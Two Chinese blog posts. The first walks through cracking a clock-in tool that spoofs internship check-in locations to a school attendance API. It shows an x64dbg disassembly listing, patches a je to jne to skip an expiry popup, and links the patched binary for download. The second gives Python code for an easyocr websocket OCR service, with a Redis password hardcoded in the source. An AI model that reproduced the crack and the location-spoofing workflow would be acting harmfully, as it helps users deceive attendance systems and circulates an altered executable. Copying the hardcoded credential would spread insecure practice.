简介蘑菇钉打卡工具，它是个32位程序是用易语言写的，主要针对学工云实习打卡，之前实习的时候打比赛去了所以免实习了，但这个软件我也用过一下，主要填写账号和密码能够自定义打卡位置定时打卡之类的，看了下原理是利用Web官网的API进行提交自定义位置来欺骗服务器实现的。今天看到群里说失效了，但我觉得是没钱赚关掉了而已，只会弹出个失效窗口然后关闭程序，对普通人来说就是用不了，反正没事给群友做点好事吧。程序分析通过IDA分析发现，有部分是学工云web上的API接口，直接进去看代码的实现逻辑。这里用了官方的登录接口，来获用户取关键返回信息进行下一个打卡API的参数提交。这里是定义的参数，可以发现 lastAddress 这个参数如果猜的不错的话，就是最后位置如果错了就当我没说，主要目的是来去弹出的，说点废话凑点页数而已（哈哈哈）。弹窗去除正常运行的情况下，是进不去的这个软件是完全关闭了，直接用x64dbg去下弹窗吧。。。最简单的办法就是，字符串搜索了在主模块中进行搜索，可以右键选择也可以 shift + d，看到什么字符串就搜什么吧，这里我搜的是 版本失效。0040D36C | 0F84 3E000000| je 0x40D3B0 | 0040D372 | BB 06000000 | mov ebx,6 | 0040D377 | E8 883CFFFF | call 0x401004 | 0040D37C | 68 01030080 | push 80000301 | 0040D381 | 6A 00 | push 0 | 0040D383 | 68 00000000 | push 0 | 0040D388 | 68 04000080 | push 80000004 | 0040D38D | 6A 00 | push 0 | 0040D38F | 68 9D044D00 | push 0x4D049D | 4D049D:"版本已失效，请进通知群687082138更新" 0040D394 | 68 04000000 | push 4 | 0040D399 | BB 40934100 | mov ebx, 0x419340 | 0040D39E | E8 859E0000 | call 0x417228 | 0040D3A3 | 83C4 34 | add esp,34 | 0040D3A6 | 6A 00 | push 0 | 0040D3A8 | E8 9F9E0000 | call 0x41724C | 0040D3AD | 83C4 04 | add esp,4 |找到 je 改成 jne 就不跳转到弹窗代码上了，也就正常运行软件了。好啦然后打个补丁，软件就可以出院啦，经过测试是可以正常打卡的，我的猜测是正确的。。。{cloud title="蘑菇钉打卡工具（去版本失效 ）" type="default" url="https://www.52tt.pro/usr/uploads/2023/07/35926594.zip" password=""/}
简介闲的无聊，写了一个基于 easyocr 图片转文字，用到了异步和websocket进行传输，图片是用base64编码后进行上传一次性识别图片文字并返回结果给请求端，在上传过程中图片不会保存到服务器上，这样也就避免了文件上传的安全性，同样在后端也做了一些安全限制，至于更安全些可以采用其它的方式比如验证等等。后端服务代码import easyocr import base64 import hashlib import redis import asyncio import websockets import json max_size = 10 * 1024 * 1024 valid_formats = [ 'data:image/png;base64', 'data:image/jpg;base64' ] reader = easyocr.Reader(['ch_sim', 'en'], gpu=True) cache = redis.StrictRedis( host='127.0.0.1', port=6379, password='@D208522', ) async def ocr(websocket): async for message in websocket: try: if isinstance(message, str): message = json.loads(message) image_data = message.get('image') if not image_data or not any(image_data.startswith(fmt) for fmt in valid_formats): await websocket.send(json.dumps({'error': 'Invalid image format.'})) continue _, image_data = image_data.split(',', 1) image_bytes = base64.b64decode(image_data) if len(image_bytes) > max_size: await websocket.send(json.dumps({'error': 'Image too big.'})) continue cache_key = hashlib.md5(image_bytes).hexdigest() text = cache.get(cache_key) if text: await websocket.send(json.dumps({'status': 200, 'text': text.decode('utf-8')})) continue results = reader.readtext(image_bytes) text = '\n'.join([result[1] for result in results]) cache.set(cache_key, text, ex=3600) await websocket.send(json.dumps({'status': 200, 'text': text})) except Exception as e: print(e) await websocket.send(json.dumps({'status': 500, 'text': 'Unknown error.'})) async def start_server(host: str): async with websockets.serve(ocr, *host, max_size=max_size): await asyncio.Future() if __name__ == '__main__': host = ("127.0.0.1", 5000) asyncio.run(start_server(host))接口请求代码import asyncio import websockets import base64 import json async def send_image(): async with websockets.connect('ws://127.0.0.1:5000/') as websocket: with open('E:\\Desktop\\1.png', 'rb') as f: image_data = f.read() image_base64 = base64.b64encode(image_data).decode('utf-8') message = {'image': 'data:image/png;base64,' + image_base64} await websocket.send(json.dumps(message)) result = await websocket.recv() jsonText = json.loads(result) print(jsonText['text']) if __name__ == '__main__': asyncio.run(send_image())这里我截了一张文字图，用API的方式调用了下，返回的效果还是准确的，有些文字会识别不准确，但整体来说效果还是可以的。前端代码 OCR Demo 上传图片 提交